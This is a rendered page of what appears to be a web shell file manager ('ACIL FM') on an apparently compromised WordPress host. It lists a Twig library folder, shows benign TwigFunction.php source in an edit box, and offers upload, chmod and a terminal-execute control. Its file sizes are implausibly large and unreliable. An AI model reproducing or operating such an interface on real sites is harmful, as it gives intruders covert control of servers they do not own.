ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/www/site/wp-content/plugins/sitepress-multilingual-cms/lib/twig/src
/
home
mhhtmff
www
site
wp-content
plugins
sitepress-multilingual-cms
lib
twig
src
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
Cache
-
chmod
Open
Rename
Delete
Error
-
chmod
Open
Rename
Delete
Extension
-
chmod
Open
Rename
Delete
Loader
-
chmod
Open
Rename
Delete
Node
-
chmod
Open
Rename
Delete
NodeVisitor
-
chmod
Open
Rename
Delete
Profiler
-
chmod
Open
Rename
Delete
RuntimeLoader
-
chmod
Open
Rename
Delete
Sandbox
-
chmod
Open
Rename
Delete
Test
-
chmod
Open
Rename
Delete
TokenParser
-
chmod
Open
Rename
Delete
Util
-
chmod
Open
Rename
Delete
Compiler.php
7.24 MB
chmod
View
DL
Edit
Rename
Delete
Environment.php
53.08 MB
chmod
View
DL
Edit
Rename
Delete
ExpressionParser.php
35.23 MB
chmod
View
DL
Edit
Rename
Delete
FileExtensionEscapingStrategy.php
1.53 MB
chmod
View
DL
Edit
Rename
Delete
Lexer.php
19.4 MB
chmod
View
DL
Edit
Rename
Delete
Markup.php
879 B
chmod
View
DL
Edit
Rename
Delete
NodeTraverser.php
2.16 MB
chmod
View
DL
Edit
Rename
Delete
Parser.php
14.2 MB
chmod
View
DL
Edit
Rename
Delete
Source.php
1.03 MB
chmod
View
DL
Edit
Rename
Delete
Template.php
25.51 MB
chmod
View
DL
Edit
Rename
Delete
TemplateWrapper.php
4.01 MB
chmod
View
DL
Edit
Rename
Delete
Token.php
5.83 MB
chmod
View
DL
Edit
Rename
Delete
TokenStream.php
5.44 MB
chmod
View
DL
Edit
Rename
Delete
TwigFilter.php
2.7 MB
chmod
View
DL
Edit
Rename
Delete
TwigFunction.php
2.49 MB
chmod
View
DL
Edit
Rename
Delete
TwigTest.php
1.63 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/www/site/wp-content/plugins/sitepress-multilingual-cms/lib/twig/src/TwigFunction.php
<?php /* * This file is part of Twig. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace WPML\Core\Twig; use WPML\Core\Twig\Node\Node; /** * Represents a template function. * * @final * * @author Fabien Potencier <fabien@symfony.com> */ class TwigFunction { protected $name; protected $callable; protected $options; protected $arguments = []; public function __construct($name, $callable, array $options = []) { $this->name = $name; $this->callable = $callable; $this->options = \array_merge(['needs_environment' => \false, 'needs_context' => \false, 'is_variadic' => \false, 'is_safe' => null, 'is_safe_callback' => null, 'node_class' => '\\WPML\\Core\\Twig\\Node\\Expression\\FunctionExpression', 'deprecated' => \false, 'alternative' => null], $options); } public function getName() { return $this->name; } public function getCallable() { return $this->callable; } public function getNodeClass() { return $this->options['node_class']; } public function setArguments($arguments) { $this->arguments = $arguments; } public function getArguments() { return $this->arguments; } public function needsEnvironment() { return $this->options['needs_environment']; } public function needsContext() { return $this->options['needs_context']; } public function getSafe(\WPML\Core\Twig\Node\Node $functionArgs) { if (null !== $this->options['is_safe']) { return $this->options['is_safe']; } if (null !== $this->options['is_safe_callback']) { return \call_user_func($this->options['is_safe_callback'], $functionArgs); } return []; } public function isVariadic() { return $this->options['is_variadic']; } public function isDeprecated() { return (bool) $this->options['deprecated']; } public function getDeprecatedVersion() { return $this->options['deprecated']; } public function getAlternative() { return $this->options['alternative']; } } \class_alias('WPML\\Core\\Twig\\TwigFunction', 'WPML\\Core\\Twig_SimpleFunction'); // Ensure that the aliased name is loaded to keep BC for classes implementing the typehint with the old aliased name. \class_exists('WPML\\Core\\Twig\\Node\\Node');
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply